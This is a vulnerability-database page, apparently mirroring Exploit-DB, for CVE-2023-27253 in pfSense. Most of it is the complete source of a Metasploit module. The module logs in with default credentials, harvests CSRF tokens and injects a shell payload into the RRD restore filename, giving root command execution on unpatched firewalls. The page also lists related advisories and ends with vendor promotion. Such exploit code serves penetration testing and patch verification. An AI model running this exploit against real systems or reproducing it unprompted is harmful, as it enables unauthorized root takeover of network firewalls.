Lucene search
K

pfSense v2.7.0 - OS Command Injection

🗓️ 20 Jul 2023 00:00:00Reported by Emir PolatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 358 Views

pfSense v2.7.0 - OS Command Injection. Authenticated cmd injection in pfSense version prior to 2.7.0 allows privilege escalation to execute OS commands as "root

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfSense v2.7.0 - OS Command Injection Exploit
21 Jul 202300:00
zdt
Circl
CVE-2023-27253
18 Mar 202301:31
circl
CNNVD
pfSense 安全漏洞
17 Mar 202300:00
cnnvd
CVE
CVE-2023-27253
17 Mar 202300:00
cve
Cvelist
CVE-2023-27253
17 Mar 202300:00
cvelist
Metasploit
pfSense Restore RRD Data Command Injection
12 Jul 202319:51
metasploit
NVD
CVE-2023-27253
17 Mar 202322:15
nvd
Packet Storm
pfSense Restore RRD Data Command Injection
13 Jul 202300:00
packetstorm
Prion
Command injection
17 Mar 202322:15
prion
Positive Technologies
PT-2023-21032 · Netgate · Pfsense
17 Mar 202300:00
ptsecurity
Rows per page
# Exploit Title: pfSense v2.7.0 - OS Command Injection 
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense Restore RRD Data Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"
          privilege to execute arbitrary operating system commands as the "root" user.

          This module has been tested successfully on version 2.6.0-RELEASE.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emir Polat', # vulnerability discovery & metasploit module
        ],
        'References' => [
          ['CVE', '2023-27253'],
          ['URL', 'https://redmine.pfsense.org/issues/13935'],
          ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
        ],
        'DisclosureDate' => '2023-03-18',
        'Platform' => ['unix'],
        'Arch' => [ ARCH_CMD ],
        'Privileged' => true,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'Payload' => {
          'BadChars' => "\x2F\x27",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat'
            }
        },
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
    ]
  end

  def check
    unless login
      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    unless res&.body&.include?('Diagnostics: ')
      return Exploit::CheckCode::Safe('Vulnerable module not reachable')
    end

    version = detect_version
    unless version
      return Exploit::CheckCode::Detected('Unable to get the pfSense version')
    end

    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
    end

    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
  end

  def login
    # Skip the login process if we are already logged in.
    return true if @logged_in

    csrf = get_csrf('index.php', 'GET')
    unless csrf
      print_error('Could not get the expected CSRF token for index.php when attempting login!')
      return false
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      },
      'keep_cookies' => true
    )

    if res && res.code == 302
      @logged_in = true
      true
    else
      false
    end
  end

  def detect_version
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    # If the response isn't a 200 ok response or is an empty response, just return nil.
    unless res && res.code == 200 && res.body
      return nil
    end

    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
      nil
    else
      version
    end
  end

  def get_csrf(uri, methods)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, uri),
      'method' => methods,
      'keep_cookies' => true
    )

    unless res && res.body
      return nil # If no response was returned or an empty response was returned, then return nil.
    end

    # Try regex match the response body and save the match into a variable named csrf.
    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
      return nil # No match could be found, so the variable csrf won't be defined.
    else
      return csrf
    end
  end

  def drop_config
    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
    end

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res && res.code == 200 && res.body =~ /<rrddatafile>/
      return res.body
    else
      return nil
    end
  end

  def exploit
    unless login
      fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
    end

    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
    end

    config_data = drop_config
    if config_data.nil?
      fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
    end

    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
      fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
    end
    config_data.gsub!(' ', '${IFS}')
    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res
      print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation